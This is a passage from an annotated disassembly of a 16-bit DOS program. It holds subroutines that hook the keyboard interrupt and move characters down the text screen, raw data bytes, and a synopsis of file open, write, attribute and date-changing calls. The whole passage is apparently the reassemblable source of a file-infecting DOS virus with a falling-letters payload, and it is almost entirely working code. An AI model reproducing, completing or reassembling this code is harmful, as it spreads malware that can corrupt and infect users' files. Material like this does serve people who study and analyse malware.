  1293.         or    word ptr cs:[96Eh],bx    ; (6FB8:096E=0F28Bh)
  1294.         add    si,2
  1295.         cmp    si,0A0h
  1296.         jne    loc_69            ; Jump if not equal
  1297.         cmp    byte ptr cs:[96Eh],0    ; (6FB8:096E=8Bh)
  1298.         jne    loc_75            ; Jump if not equal
  1299.         or    byte ptr cs:[972h],80h    ; (6FB8:0972=0BFh)
  1300.         mov    word ptr cs:[97Eh],1    ; (6FB8:097E=0EDE8h)
  1301. loc_75:                        ;  xref 6FB8:0BBD
  1302.         pop    ds
  1303.         pop    si
  1304.         pop    bx
  1305. loc_76:                        ;  xref 6FB8:0AEC, 0B1D, 0B41
  1306.         pop    ax
  1307. ;*        jmp    far ptr loc_90        ;*(FC00:3F4D)
  1308.         db    0EAh, 4Dh, 3Fh, 00h,0FCh
  1309. loc_77:                        ;  xref 6FB8:0C32
  1310.         mov    al,20h            ; ' '
  1311.         out    20h,al            ; port 20h, 8259-1 int command
  1312.                         ;  al = 20h, end of interrupt
  1313.         pop    ax
  1314.         iret                ; Interrupt return
  1315.         db     50h,0E4h, 60h, 2Eh,0A2h, 7Ah
  1316.         db     09h,0E4h, 61h, 8Ah,0E0h, 0Ch
  1317.         db     80h,0E6h, 61h, 8Ah,0C4h,0E6h
  1318.         db     61h, 2Eh, 80h, 3Eh, 79h, 09h
  1319.         db     00h, 2Eh,0C6h, 06h, 79h, 09h
  1320.         db     01h, 75h,0D9h, 2Eh,0A0h, 7Ah
  1321.         db     09h, 3Ch,0F0h, 74h,0D1h, 24h
  1322.         db     7Fh, 2Eh, 3Ah, 06h, 7Bh, 09h
  1323.         db     2Eh,0A2h, 7Bh, 09h, 74h,0C4h
  1324.         db     2Eh, 83h, 3Eh, 7Eh, 09h, 00h
  1325.         db     74h, 07h, 2Eh,0C7h, 06h, 7Eh
  1326.         db     09h, 01h, 00h,0E8h, 02h, 00h
  1327.         db    0EBh,0B0h
  1328.  
  1329. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1330. ;                   SUBROUTINE
  1331. ;
  1332. ;         Called from:     6FB8:0B1A
  1333. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1334.  
  1335. sub_19        proc    near
  1336.         mov    word ptr cs:[977h],28h    ; (6FB8:0977=0C00Ah)
  1337.         test    byte ptr cs:[972h],80h    ; (6FB8:0972=0BFh)
  1338.         jz    loc_77            ; Jump if zero
  1339.         mov    byte ptr cs:[970h],1    ; (6FB8:0970=0Eh)
  1340.         push    bx
  1341.         push    si
  1342.         push    ds
  1343.         mov    ds,word ptr cs:[97Ch]    ; (6FB8:097C=5E5Fh)
  1344.         test    byte ptr cs:[972h],10h    ; (6FB8:0972=0BFh)
  1345.         jnz    loc_81            ; Jump if not zero
  1346.         or    byte ptr cs:[972h],10h    ; (6FB8:0972=0BFh)
  1347.         xor    si,si            ; Zero register
  1348. loc_78:                        ;  xref 6FB8:0C77
  1349.         mov    bx,data_29e        ; (5E5F:0F00=0FFh)
  1350. loc_79:                        ;  xref 6FB8:0C5E
  1351.         cmp    byte ptr [bx+si],20h    ; ' '
  1352.         je    loc_80            ; Jump if equal
  1353.         sub    bx,0A0h
  1354.         jnc    loc_79            ; Jump if carry=0
  1355.         mov    bx,0F00h
  1356. loc_80:                        ;  xref 6FB8:0C58
  1357.         add    bx,data_28e        ; (5E5F:00A0=0FFh)
  1358.         mov    cs:data_54[si],bx    ; (6FB8:0105=0CD09h)
  1359.         mov    word ptr cs:[980h][si],bx    ; (6FB8:0980=0E8FBh)
  1360.         inc    si
  1361.         inc    si
  1362.         cmp    si,data_37e        ; (6FB8:00A0=0)
  1363.         jne    loc_78            ; Jump if not equal
  1364. loc_81:                        ;  xref 6FB8:0C48
  1365.         xor    si,si            ; Zero register
  1366. loc_82:                        ;  xref 6FB8:0CE4
  1367.         cmp    cs:data_54[si],0FA0h    ; (6FB8:0105=0CD09h)
  1368.         je    loc_88            ; Jump if equal
  1369.         mov    bx,word ptr cs:[980h][si]    ; (6FB8:0980=0E8FBh)
  1370.         mov    ax,[bx+si]
  1371.         cmp    ax,word ptr cs:[0CF5h][bx+si]    ; (6FB8:0CF5=0F5BEh)
  1372.         jne    loc_84            ; Jump if not equal
  1373.         push    bx
  1374. loc_83:                        ;  xref 6FB8:0CA0, 0CA4
  1375.         or    bx,bx            ; Zero ?
  1376.         jz    loc_86            ; Jump if zero
  1377.         sub    bx,0A0h
  1378.         cmp    ax,word ptr cs:[0CF5h][bx+si]    ; (6FB8:0CF5=0F5BEh)
  1379.         jne    loc_83            ; Jump if not equal
  1380.         cmp    ax,[bx+si]
  1381.         je    loc_83            ; Jump if equal
  1382.         pop    bx
  1383. loc_84:                        ;  xref 6FB8:0C90
  1384.         or    bx,bx            ; Zero ?
  1385.         jnz    loc_85            ; Jump if not zero
  1386.         mov    word ptr [si],720h
  1387.         jmp    short loc_87        ; (0CCB)
  1388. loc_85:                        ;  xref 6FB8:0CA9
  1389.         mov    ax,[bx+si]
  1390.         mov    ds:data_31e[bx+si],ax    ; (5E5F:FF60=0FFFFh)
  1391.         mov    word ptr [bx+si],720h
  1392.         sub    word ptr cs:[980h][si],0A0h    ; (6FB8:0980=0E8FBh)
  1393.         mov    byte ptr cs:[970h],0    ; (6FB8:0970=0Eh)
  1394.         jmp    short loc_88        ; (0CDE)
  1395. loc_86:                        ;  xref 6FB8:0C95
  1396.         pop    bx
  1397. loc_87:                        ;  xref 6FB8:0CAF
  1398.         mov    bx,cs:data_54[si]    ; (6FB8:0105=0CD09h)
  1399.         add    bx,0A0h
  1400.         mov    cs:data_54[si],bx    ; (6FB8:0105=0CD09h)
  1401.         mov    word ptr cs:[980h][si],bx    ; (6FB8:0980=0E8FBh)
  1402. loc_88:                        ;  xref 6FB8:0C82, 0CC8
  1403.         inc    si
  1404.         inc    si
  1405.         cmp    si,0A0h
  1406.         jne    loc_82            ; Jump if not equal
  1407.         cmp    byte ptr cs:[970h],0    ; (6FB8:0970=0Eh)
  1408.         je    loc_89            ; Jump if equal
  1409.         push    es
  1410.         push    di
  1411.         push    cx
  1412.         push    ds
  1413.         pop    es
  1414.         push    cs
  1415.         pop    ds
  1416.         mov    si,offset ds:[0CF5h]    ; (6FB8:0CF5=0BEh)
  1417.         xor    di,di            ; Zero register
  1418.         mov    cx,7D0h
  1419.         rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
  1420.         mov    word ptr cs:[977h],0FFDCh    ; (6FB8:0977=0C00Ah)
  1421.         and    byte ptr cs:[972h],4    ; (6FB8:0972=0BFh)
  1422.         or    byte ptr cs:[972h],88h    ; (6FB8:0972=0BFh)
  1423.         mov    word ptr cs:[97Eh],0    ; (6FB8:097E=0EDE8h)
  1424.         xor    ax,ax            ; Zero register
  1425.         mov    ds,ax
  1426.         mov    ax,word ptr cs:[973h]    ; (6FB8:0973=984h)
  1427.         mov    ds:data_1e,ax        ; (0000:0024=45h)
  1428.         mov    ax,word ptr cs:[975h]    ; (6FB8:0975=0AAACh)
  1429.         mov    ds:data_2e,ax        ; (0000:0026=3D1h)
  1430.         pop    cx
  1431.         pop    di
  1432.         pop    es
  1433. loc_89:                        ;  xref 6FB8:0CEC
  1434.         pop    ds
  1435.         pop    si
  1436.         pop    bx
  1437.         retn
  1438. sub_19        endp
  1439.  
  1440.  
  1441. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1442. ;                   SUBROUTINE
  1443. ;
  1444. ;         Called from:     6FB8:04D3, 04EC
  1445. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1446.  
  1447. sub_20        proc    near
  1448.         cld                ; Clear direction
  1449.         pop    ax
  1450.         sub    ax,si
  1451.         add    ax,di
  1452.         push    es
  1453.         push    ax
  1454.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  1455.         retf                ; Return far
  1456. sub_20        endp
  1457.  
  1458.         db     90h, 50h,0E8h,0E2h, 03h, 8Bh
  1459.  
  1460. seg_a        ends
  1461.  
  1462.  
  1463.  
  1464.         end    start
  1465.  
  1466. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ CROSS REFERENCE - KEY ENTRY POINTS ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  1467.  
  1468.     seg:off    type       label
  1469.    ---- ----   ----   ---------------
  1470.    6FB8:0100   far    start
  1471.  
  1472.  ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ Interrupt Usage Synopsis ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  1473.  
  1474.         Interrupt 21h :     set default drive dl  (0=a:)
  1475.         Interrupt 21h :     get default drive al  (0=a:)
  1476.         Interrupt 21h :     set DTA to ds:dx
  1477.         Interrupt 21h :     get date, cx=year, dx=mon/day
  1478.         Interrupt 21h :     set current dir, path @ ds:dx
  1479.         Interrupt 21h :     open file, al=mode,name@ds:dx
  1480.         Interrupt 21h :     close file, bx=file handle
  1481.         Interrupt 21h :     read file, cx=bytes, to ds:dx
  1482.         Interrupt 21h :     write file cx=bytes, to ds:dx
  1483.         Interrupt 21h :     move file ptr, cx,dx=offset
  1484.         Interrupt 21h :     get/set file attrb, nam@ds:dx
  1485.         Interrupt 21h :     get present dir,drive dl,1=a:
  1486.         Interrupt 21h :     get/set file date & time
  1487.  
  1488.  ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ I/O    Port Usage Synopsis  ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  1489.  
  1490.         Port 20h   : 8259-1 int command
  1491.  
  1492.